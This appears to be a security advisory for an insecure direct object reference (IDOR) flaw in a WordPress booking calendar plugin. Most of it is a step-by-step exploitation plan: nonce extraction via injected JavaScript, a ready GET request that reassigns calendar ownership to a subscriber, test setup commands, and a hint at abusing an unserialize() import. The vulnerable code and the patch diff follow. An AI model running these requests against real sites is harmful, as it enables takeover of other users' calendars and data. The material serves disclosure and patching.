Booking Calendar Contact Form <= 1.2.63 - Authenticated (Subscriber+) Insecure Direct Object Reference to Calendar Takeover
Description
The Booking Calendar Contact Form plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.2.63 via the dex_bccf_admin_int_calendar_list.inc.php file due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to takeover other user's calendars and view user data associated with the calendar.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.2.63What Changed in the Fix
Changes introduced in v1.2.64
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6810 ## 1. Vulnerability Summary The **Booking Calendar Contact Form** plugin (<= 1.2.63) is vulnerable to an **Insecure Direct Object Reference (IDOR)** in the administrative interface. The file `dex_bccf_admin_int_calendar_list.inc.php` processes calendar up…
Show full research plan
Exploitation Research Plan: CVE-2026-6810
1. Vulnerability Summary
The Booking Calendar Contact Form plugin (<= 1.2.63) is vulnerable to an Insecure Direct Object Reference (IDOR) in the administrative interface. The file dex_bccf_admin_int_calendar_list.inc.php processes calendar update requests without performing any capability checks (e.g., current_user_can()). It only verifies a WordPress nonce (uname_bccf). Because the admin page associated with this file is often accessible to low-privilege users (Subscriber+) or the logic runs early in the admin lifecycle, an authenticated attacker can modify the conwer (owner) field of any calendar ID, effectively taking over ownership of calendars belonging to other users, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php?page=dex_bccf.php - Method:
GET - Vulnerable Parameters:
u: The ID of the target calendar to take over (Insecure Direct Object Reference).owner: The User ID to which ownership should be transferred (the attacker's ID).name: The new name for the calendar.public: Value for thecaldeletedfield (typically1).
- Authentication: Required (Subscriber-level access or higher).
- Preconditions: The attacker must obtain a valid nonce for the
uname_bccfaction.
3. Code Flow
- A user accesses
admin.php?page=dex_bccf.php. - The plugin loads
dex_bccf.php, which includesdex_bccf_admin_int_calendar_list.inc.php. dex_bccf_admin_int_calendar_list.inc.phpchecks for$_GET['u'](Line 31).- It performs a nonce verification:
wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )(Line 33). - Critically, it skips any capability checks.
- It executes a prepared SQL statement (Lines 37-38):
$wpdb->query( $wpdb->prepare( 'UPDATE `'.DEX_BCCF_CONFIG_TABLE_NAME.'` SET conwer=%d,`'.TDE_BCCFCALDELETED_FIELD.'`=%d,`'.TDE_BCCFCONFIG_USER.'`=%s WHERE `'.TDE_BCCFCONFIG_ID.'`=%d', sanitize_text_field($_GET["owner"]), sanitize_text_field($_GET["public"]), sanitize_text_field($_GET["name"]), $_GET['u'] ) ); DEX_BCCF_CONFIG_TABLE_NAMEresolves to{prefix}bccf_reservation_calendars.conweris the column storing the owner's User ID. By providing their own ID in$_GET['owner'], the attacker becomes the owner of calendar$_GET['u'].
4. Nonce Acquisition Strategy
The nonce uname_bccf is required. It is generated within dex_bccf_admin_int_calendar_list.inc.php and embedded in the page source for administrative functions.
- Identify Access: Low-privilege users (Subscribers) can typically access
admin.php?page=dex_bccf.phpif the plugin registers the menu with thereadcapability or fails to restrict the sub-include. - Navigation: Use
browser_navigateto go tohttp://[target]/wp-admin/admin.php?page=dex_bccf.php. - Extraction: The nonce is stored in a PHP variable
$nonce_unand used in JavaScript functions within the page. - Execution: Use
browser_evalto find the nonce in the URL of the "Update" links or thecp_updateItemfunction logic.- The source shows the nonce is echoed directly into the
document.locationin thecp_updateItemJS function:'admin.php?page=dex_bccf.php&_wpnonce=<?php echo $nonce_un; ?>&u='+id... - Command:
browser_eval("document.documentElement.innerHTML.match(/_wpnonce=([a-f0-9]{10})/)[1]")
- The source shows the nonce is echoed directly into the
5. Exploitation Strategy
Step 1: Discover Target Calendar ID
As an administrator, create a calendar. Note its ID (e.g., 1).
Step 2: Authenticate as Subscriber
Log in as a Subscriber-level user.
Step 3: Obtain Nonce
Navigate to the plugin's admin page and extract the uname_bccf nonce.
Step 4: Execute Takeover Request
Perform a GET request to admin.php with the attacker's id as the owner.
- URL:
http://[target]/wp-admin/admin.php - Query Parameters:
page:dex_bccf.phpu:1(Target Calendar ID)owner:2(Attacker Subscriber ID)name:Takeoverpublic:1_wpnonce:[EXTRACTED_NONCE]
Request Example (using http_request):
{
"method": "GET",
"url": "http://vulnerable-hostname/wp-admin/admin.php?page=dex_bccf.php&u=1&owner=2&name=Hacked&public=1&_wpnonce=a1b2c3d4e5"
}
6. Test Data Setup
- Admin User: Create an admin user.
- Subscriber User: Create a subscriber user (ID 2).
- Target Calendar: As Admin, create at least one calendar.
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bccf_reservation_calendars', array('uname' => 'Admin Calendar', 'conwer' => 1, 'caldeleted' => 1));"
- Confirm ID: Verify the calendar exists and is owned by ID 1.
wp db query "SELECT id, uname, conwer FROM wp_bccf_reservation_calendars"
7. Expected Results
- The server should return a
200 OKresponse. - The response body should contain the message:
"Item updated"(quoted from line 39 ofdex_bccf_admin_int_calendar_list.inc.php). - The database record for the calendar with ID
uwill now haveconwer = 2.
8. Verification Steps
- Database Check:
Confirmwp db query "SELECT id, uname, conwer FROM wp_bccf_reservation_calendars WHERE id=1"conweris now the Subscriber's ID. - UI Check: Log in as the Subscriber. Navigate to
admin.php?page=dex_bccf.php. The Subscriber should now see the "Admin Calendar" in their list, as the loopif (cp_bccf_is_administrator() || ($current_user->ID == $item->conwer))now evaluates to true for them.
9. Alternative Approaches
If the _wpnonce extraction via browser_eval fails:
- Check for the nonce in the "Export" button or other links in the
Calendar Listtable. - If
admin.php?page=dex_bccf.phpis strictly blocked for Subscribers, check if the nonce can be obtained from the frontend if the plugin enqueues it there (less likely for this specificuname_bccfaction). - Check if the
bccf_fileimportPOST action (Line 14) can be abused using the same nonce to overwrite calendar data viaunserialize().
Summary
The Booking Calendar Contact Form plugin (<= 1.2.63) lacks authorization checks in its administration interface, allowing Subscriber-level users to update calendar settings and change ownership. By manipulating the 'u' and 'owner' parameters in a request to dex_bccf_admin_int_calendar_list.inc.php, an attacker can take over any calendar and access associated user data.
Vulnerable Code
// dex_bccf_admin_int_calendar_list.inc.php line 14 if (isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' )) { if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )) $message = "Access verification error. Cannot update settings."; else { $filename = sanitize_file_name($_FILES['cp_filename']['tmp_name']); $handle = fopen($filename, "r"); $contents = fread($handle, filesize($filename)); fclose($handle); $params = unserialize($contents); $wpdb->query( $wpdb->prepare( 'DELETE FROM `'.DEX_BCCF_CONFIG_TABLE_NAME.'` WHERE id=%d', $params['id'] ) ); unset($params["form_name"]); $wpdb->insert( DEX_BCCF_CONFIG_TABLE_NAME, $params); @unlink($filename); $message = "Backup loaded."; } } --- // dex_bccf_admin_int_calendar_list.inc.php line 31 else if (isset($_GET['u']) && $_GET['u'] != '') { if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )) $message = "Access verification error. Cannot update settings."; else { $wpdb->query( $wpdb->prepare( 'UPDATE `'.DEX_BCCF_CONFIG_TABLE_NAME.'` SET conwer=%d,`'.TDE_BCCFCALDELETED_FIELD.'`=%d,`'.TDE_BCCFCONFIG_USER.'`=%s WHERE `'.TDE_BCCFCONFIG_ID.'`=%d', sanitize_text_field($_GET["owner"]), sanitize_text_field($_GET["public"]), sanitize_text_field($_GET["name"]), $_GET['u'] ) ); $message = "Item updated"; } }
Security Fix
@@ -11,7 +11,7 @@ global $wpdb; $message = ""; -if (isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' )) +if (current_user_can('manage_options') && isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' )) { if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )) $message = "Access verification error. Cannot update settings."; @@ -29,7 +29,7 @@ $message = "Backup loaded."; } } -else if (isset($_GET['u']) && $_GET['u'] != '') +else if (current_user_can('manage_options') && isset($_GET['u']) && $_GET['u'] != '') { if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )) $message = "Access verification error. Cannot update settings."; @@ -39,7 +39,7 @@ $message = "Item updated"; } } -else if (isset($_GET['ac']) && $_GET['ac'] == 'st') +else if (current_user_can('manage_options') && isset($_GET['ac']) && $_GET['ac'] == 'st') { if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' )) $message = "Access verification error. Cannot update settings.";
Exploit Outline
The exploit requires an authenticated session with Subscriber-level privileges or higher. 1. The attacker navigates to the plugin's administration page (/wp-admin/admin.php?page=dex_bccf.php) to obtain a valid WordPress nonce for the 'uname_bccf' action, which is embedded in the page's HTML/JavaScript. 2. The attacker identifies the numeric ID of a target calendar they wish to control. 3. The attacker issues a GET request to the administrative endpoint with several specific parameters: 'page=dex_bccf.php', 'u' (the target calendar ID), 'owner' (the attacker's own user ID), '_wpnonce' (the extracted nonce), and 'public=1'. 4. The plugin's back-end logic processes this request without checking if the current user has the 'manage_options' capability, executing a SQL UPDATE statement that assigns ownership of the calendar to the attacker's user ID. 5. Once successful, the attacker can view and manage the calendar through the standard plugin interface.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.